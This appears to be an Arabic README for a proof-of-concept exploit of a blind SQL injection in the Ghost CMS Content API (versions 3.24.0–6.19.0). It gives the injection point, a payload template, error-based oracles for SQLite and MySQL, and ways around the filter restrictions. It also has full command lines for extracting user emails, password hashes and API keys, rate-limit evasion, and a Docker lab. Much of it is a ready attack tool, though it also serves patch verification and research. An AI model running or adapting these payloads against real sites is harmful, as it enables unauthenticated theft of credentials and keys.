
حقن SQL أعمى في واجهة برمجة تطبيقات المحتوى لنظام Ghost CMS
المتأثر: Ghost 3.24.0 – 6.19.0
تم الإصلاح في: Ghost 6.19.1
المصادقة المطلوبة: لا شيء — مفتاح واجهة برمجة تطبيقات المحتوى عام
التأثير: قراءة غير مصادق عليها لقاعدة البيانات بأكملها (بيانات الاعتماد، مفاتيح API)
يقوم slug-filter-order.js بإدراج قيم slug المقدمة من المستخدم مباشرة في جملة SQL الخام ORDER BY بدلاً من استخدام روابط معلمات.
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ raw string interpolation
// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
نقطة الحقن:
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]
قالب الحمولة:
slug:['||<SQL_EXPR>||',<anchor-slug>]
يعمل التعبير المحقون كأوراكل قائم على الأخطاء المنطقية.
| المحرك | صحيح | خطأ |
|---|---|---|
| SQLite | hex(randomblob(10^15)) → OOM → HTTP 500 | ELSE 0 → HTTP 200 |
| MySQL | THEN 0 → HTTP 200 | EXP(710) overflow → HTTP 500 |
قيود NQL — يجب ألا يحتوي تعبير SQL داخل الأقواس على علامات الاقتباس المفردة (') أو الفواصل (,):
| المشكلة | حل SQLite | حل MySQL |
|---|---|---|
النص الحرفي 'content' | CHAR(99)||CHAR(111)||... | 0x636F6E74656E74 |
| الحرف في الموضع N | مقارنة سلسلة مبنية على البادئة | ASCII(SUBSTR(x FROM N FOR 1)) |
||هو تسلسل النصوص في SQLite ولكنه OR منطقي في MySQL — يجب تشفير النصوص الحرفية بشكل مختلف حسب المحرك.
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
Required:
--url URL Ghost base URL (e.g. http://localhost:2368)
--key KEY Content API key
Optional:
--slug SLUG Anchor slug (auto-discovered from API if omitted)
--dbms {auto,sqlite,mysql} DB engine (default: auto-detect)
--delay N Seconds between requests — use to avoid HTTP 429 (default: 0)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
--validate-fix Test if the target is patched, then exit
Data flags (at least one required):
--email User email(s)
--hash User bcrypt hash(es)
--content-key Content API key(s)
--admin-key Admin API key(s)
--all Shorthand for --email --hash --content-key --admin-key
Modifier:
--all-records Extract ALL records for the selected flag(s) instead of first only
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--email --hash --no-proxy
# Extract everything, first record each
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --no-proxy
# Extract all Content API keys
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--content-key --all-records
# Extract ALL records of ALL data types
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --all-records
# Route through Burp proxy
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --proxy http://127.0.0.1:8080
# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
--url http://target.com \
--key <content_api_key> \
--all --dbms mysql --delay 0.5
# Verify the patched version is not exploitable
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key <content_api_key> \
--validate-fix
يقوم Ghost بتحديد معدل طلبات واجهة برمجة تطبيقات المحتوى افتراضيًا. الخيارات:
--delay 0.5 لإضافة تأخير بين الطلباتAPI_RATE_LIMIT_ENABLED: "false" في بيئة docker-compose وأعد التشغيلslug-filter-order.js في Ghost 6.18.0 → 6.19.1للرجوع إليه فقط — تخطى إذا كان لديك بالفعل نسخة Ghost قابلة للاختراق.
pip install requestsghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (default)
├── mysql-init/
│ └── 01-init.sql # creates ghost_patch DB, grants access
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
يكشف كلا ملفي compose عن:
http://localhost:2368 — ضعيف (Ghost 6.18.0)http://localhost:2369 — مصحح (Ghost 6.19.1)docker compose -f sqlite_docker-compose.yml up -d
docker compose -f mysql_docker-compose.yml up -d
بيانات اعتماد MySQL: host=localhost:3306 user=ghost password=ghostpass
قواعد البيانات: ghost_vuln (المنفذ 2368) / ghost_patch (المنفذ 2369)
انتظر حوالي 60 ثانية حتى يتم تهيئة Ghost، ثم:
http://localhost:2368/ghost — أنشئ حساب مسؤول وانشر منشورًا واحدًا على الأقل# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d